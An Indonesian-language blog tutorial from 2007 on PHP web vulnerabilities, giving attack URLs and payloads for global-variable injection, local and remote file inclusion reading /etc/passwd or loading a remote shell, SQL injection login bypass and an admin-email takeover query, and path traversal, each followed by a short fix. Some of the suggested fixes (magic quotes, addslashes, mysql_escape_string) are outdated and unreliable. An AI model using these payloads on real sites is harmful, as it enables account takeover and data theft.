PHP security underground

30 12 2007

–[ variabel global ]

Di PHP kamu tidak usah mendeklarasikan terlebih dahulu variabel yang hendak kamu pakai, itu bisa jadi kemudahan tapi bisa menyebabkan sistem menjadi ga aman. mari kita tengok contoh script di bawah ini:

[…]

if ($is_admin == 1) {

[…]

} else {

[…]

}

kita dapat liat bahwa $is_admin tidak dideklarasikan, maka kita bisa menyusupkan suatu nilai untuk mengisi variabel tersebut.

Contoh:

http://remote_host/bugged.php?is_admin=1

—[ Penanganan ]—

Cara penanganannya adalah tinggal mendeklarasikan terlebih dahulu variabel tersebut sebelum if.

$is_admin = 0;

[…]

if ($is_admin == 1) {

[…]

} else {

[…]

}

—————————————————————————–[/]

—[ File Inclusion ]

—–[ Local File Inclusion]

Contoh :

<?php

include “/users/”.$include_path.”.php”;

[…]

?>

Variabel $include_path tidak dideklarasikan sebelumnya sehingga kita bisa menyusupkan suatu nilai lagi seperti /etc/passwd..

http://remote_host/bugged.php?include_path=../../../../etc/passwd%00

Hasil dari file inclusion adalah :

<?php

include “/users/../../../../etc/passwd%00.php”

[…]

?>

Kalo beruntung, kita bisa melihat procedure-prosedure yang digunakan oleh site tersebut.

– [ Catatan ] –

%00, untuk menghilangkan ekstensi .php pada path tersebut.

——————————————————————————-

—–[ Remote File Inclusion]

Contoh :

<?php

[…]

include($_GET[’pag’]);

[…]

?>

Karena variabel $pag tidak ada validasi maka kita dapat memasukkan nilai sembarang ke variabel tersebut.

Contoh satu :

http://remote_host/inc.php?pag=%5BEvil Script – our shell located on our server]

Contoh dua :

http://remote_host/inc.php?pag=/etc/passwd

—[ Penanganan ]—

Cara penanganannya adalah dengan memvalidasi terlebih dahulu variabel $pag, contoh :

[…]

$pag = $_GET[’pag’];

$pages = array(’index.php’, ‘alfa.php’, ‘beta.php’, ‘gamma.php’);

if(in_array($pag, $pages))

{

include($pag);

{

else

{

die(”Hacking Attempt!”);

}

[…]

—————————————————————————–[/]

—[ SQL Injection]

——[ Login Bypass ]

Sebelum lebih jauh kita mesti mengenal dulu beberapa hal yang nantinya akan membantu kita dalam melakukan SQL Injection :

– (’) biasanya buat ngecek vulnerability suatu situs.

– (#) komentar.

– (; ) ini berarti kita membuat suatu query baru.

Contoh :

<?php

// login.php

$nick = $_POST[’nick’];

$pass = $_POST[’pass’];

$link = mysql_connect(’localhost’, ‘root’, ‘root’) or die(’Error: ‘.

mysql_error());

mysql_select_db(”sql_inj”, $link);

$query = mysql_query(”SELECT * FROM sql_inj WHERE nick =’”.$nick.”‘ AND pass =’” .$pass. “‘”,

$link);

if (mysql_num_rows($query) == 0) {

echo “<script type=\”text/javascript\”>window.location.href=’index.html’;</script>”;

exit;

}

$logged = 1;

[…]

//EoF

?>

Lihat query di bawah ini :

“SELECT * FROM sql_inj WHERE nick =’”.$nick.”‘ AND pass =’” .$pass. “‘”

Apa yang terjadi jika kita menambahkan seperti ini :

$nick = 1′ OR ‘1′ = ‘1

$pass = 1′ OR ‘1′ = ‘1

Query yang baru:

“SELECT * FROM sql_inj WHERE nick =’1 OR ‘1′ = ‘1′ AND pass =’1′ OR ‘1′ = ‘1′”

Masih ingat tabel kebenaran? kalo 1 or 1 hasilnya adalah 1 sehingga kita bisa masuk sebagai admin karena biasanya user pertama dari suatu sistem adalah admin.

——[ Query ]

Contoh :

<?php

//email.php

[…]

$email = $_POST[’email’];

[…]

$query = mysql_query(”SELECT email, passwd, user_name FROM users WHERE email =

‘”.$email.”‘”);

[…]

?>

Lagi-lagi variabel $email tidak ada verifikasi sehingga kita bisa menyusupkan code seperti di bawah ini :

$email = x’; UPDATE users SET email = ‘omnipresent@email.it’

WHERE email = ‘admin@site.com ‘;

Query yang baru :

SELECT email, passwd, user_name FROM users

WHERE email = ‘ x’; UPDATE users SET email = ‘omnipresent@email.it’

WHERE email = ‘admin@site.com ‘;

Dari hak di atas maka email admin dari website tersebut diganti menjadi email kita. Apa keuntungannya?jika kita pura-pura jadi admin lalu lupa password dan minta dikirimin password baru, maka password akan dikirim ke email kita. Jadi..??? Very Happy

—[ Penanganan ]—

Kita dapat memodifikasi file php.ini :

1. set magic_quotes_gcp to On

2. use addslashes()

3. htmlspecialchars()

4. mysql_escape_string()

5. Liat http://www.php.net untuk beberapa fungsi :p

6. Validasi input dari user, contoh :

$user_id = (int)$_GET[’user_id’];

—————————————————————————–[/]

—[ File Traverse ]

Contoh :

<?php

[…]

$fp = fopen(”/path/{$_GET[’filename’]}.txt”, ‘r’);

[…]

?>

Script di atas masih memiliki kelemahan karena ‘filename’ dapat dimanipulasi oleh sembarang user.

Pada kasus ini kita dapat menggunakan “../” untuk ke direktory atasnya dan melihat file lain.

Contoh :

http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00

(%00) digunakan untuk menghilangkan karakter string di belakangnya dalam hal ini file ekstensi.

—[ Penanganan ]—

Cara penanganannya adalah dengan menggunakan fungsi basename(), contoh :

<?php

$clean = array();

if (basename($_GET[’filename’]) == $_GET[’filename’])

{

$clean[’filename’] = $_GET[’filename’];

}

else

{

[…]

}

$fp = fopen(”/path/{$clean[’filename’]}.txt”, ‘r’);

?>

Penulis : omni


Actions

Information

Leave a comment